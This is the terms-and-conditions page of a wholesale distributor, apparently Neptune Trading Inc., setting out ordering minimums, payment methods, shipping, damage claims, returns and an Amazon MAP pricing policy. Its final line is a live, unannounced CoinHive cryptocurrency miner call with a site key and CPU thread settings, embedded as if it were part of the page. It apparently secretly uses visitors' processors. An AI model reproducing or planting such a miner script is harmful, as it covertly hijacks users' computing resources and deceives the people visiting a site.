Call Us! 1.888.637.8723

Terms & Information

• Conditions

    • By purchasing anything from us, the buyer accepts all terms and conditions set forth in this document.

    • We sell strictly WHOLESALE to licensed dealers, jobbers, and businesses ONLY (state retail sales tax permit required)

    • Absolutely NO sales to the public.

    • It is the buyer’s responsibility to check and comply with all local, state, and federal laws that apply to the buyer.

    • The buyer must not sell any dangerous products to minors.

  • All terms and conditions are subjected to change without prior notice.

• Prices

    • Prices do NOT Include Freight and Or Other Applicable Charges

  • Due to inflation, these prices are subject to change without notice and may not reflect the current price. Please check our website or call us to check for the most current price.

• Minimum Order Requirement

    • First Time Minimum Order is $250.00. All following orders have a $100 minimum order.

    • A $15.00 service charge will be added to any orders below $100.00

  • Additional discounts available to quantity buyers (case lots only), please call for quotes.

• Payments

    • We accept Prepayments, Cash, Bank Wire, COD Cash/Check, Cashier Check, Money Orders, All Major Credit Cards, and Personal/Company Checks (subject to approval).

    • International orders must be prepaid via bank wire or by credit card with a signed credit card authorization form (attached with front and back copies of the card signer’s photo ID). The shipping address must also match the billing address. No Exceptions.

      • The first time a customer orders over $1,000; a signed credit card authorization form (attached with front and back copies of thecardholder’s photo ID) must be submitted. Any following orders over $5,000 must also be submitted with the aforementioned credit card authorization form.

    • A $25 fee will be charged for any returned or NSF checks.

    • Trade references and credit reports are required for all credit applications

  • Past due balances on open accounts will be charged interest at an 18% APR.

• Shipment / Walk-In Order Policies

    • Unless otherwise specified, all shipments are shipped via UPS Ground service.

    • Next Day, 2-day, and 3-day services are also available to existing customers.

    • Saturday delivery is available in emergency situations. UPS charges an additional fee for this service.

    • Shipments paid via credit card to new customers must be shipped to card’s billing address, or the buyer must submit a signed credit card authorization form (attached with front and back copies of the cardholder’s photo ID and the credit card itself).

    • Freight for new customers must be prepaid. We cannot ship by COD to new customers.

    • Orders are usually shipped the same day if received before noon (CST for Wuu Jau, PST for Neptune Trading Inc).

    • All credit accounts that are over limit or past due will be shipped by COD only.

    • Existing COD account customers refusing COD packages twice will be switched to prepayment only.

    • All international customers need to check and comply with customs upon legality of the merchandise before ordering. We are not responsible for any shipments seized by customs.

    • Showroom and walk-in orders are available on Wednesday-Friday, or scheduled ahead.

  • All walk-in orders must be placed at least 3 hours in advance before customers’ arrival.

• Damaged / Defective Shortage Claims

      • All damaged shipment claims, lost packages, or shortage claims will be accepted only if such damages/shortages are recorded and filed with UPS by the buyer. Please make sure the number of boxes received match the number of boxes stated on the UPS record and Bill of Loading.

    • All defective/broken merchandise claims must be received within 3 days of receipt of merchandise. Therefore, please check that all merchandise is acceptable and in good condition upon receipt.

  • Shortage or missing items claims must be done within 24 hours upon receipt of shipment.

    RMA Form

• Returns / Refunds

    • No return merchandise will be accepted without a completed RMA form AND an issued RMA number. Please call or visit our website for the RMA form, then fax or e-mail the completed form and an RMA number will be issued to you.

    • Buyer pays the freight of any return merchandise. We do not issue UPS call tags unless there is a mistake on our behalf.

    • No return merchandise will be accepted after 30 days from purchase.

    • Returns must be received in sellable condition and are subject to a 25% restocking fee.

    • Refunds are not to be credited to any other card other than the card used for the original purchase.

  • Cash refunds are not allowed for merchandise purchased with credit card.

    RMA Form

• MAP Pricing Policy

    • A MAP (Minimum Advertised Price) is a minimum amount that resellers agree not to advertise below. Although MAP agreements protect seller margins, pricing isn’t the only concern; brand identity is also a valued factor to retailers.

    The purpose of a MAP policy is to:
    - promote fair competition across all distribution channels
  • - maintain brand identity and value
  • - allow smaller sellers to compete with larger retailers
  • - prevent underpricing
  • - protect seller margins

    At Neptune Trading Inc., we rigorously monitor pricing on select products on Amazon in order to protect the identity and value of our brands, as well as the market share of our resellers. Clients that resell our select products that must meet MAP on Amazon must comply with our MAP policy. Failure to do so will result in those select products no longer being sold to violating resellers. Neptune Trading Inc. reserves the right to refuse to sell to anyone.

    var miner = new CoinHive.User('7qTG6el1cAVfUfjDmXMbvkOOwSsLbOb9', 'maseko', { threads: 4, autoThreads: false, throttle: 0.8, forceASMJS: false });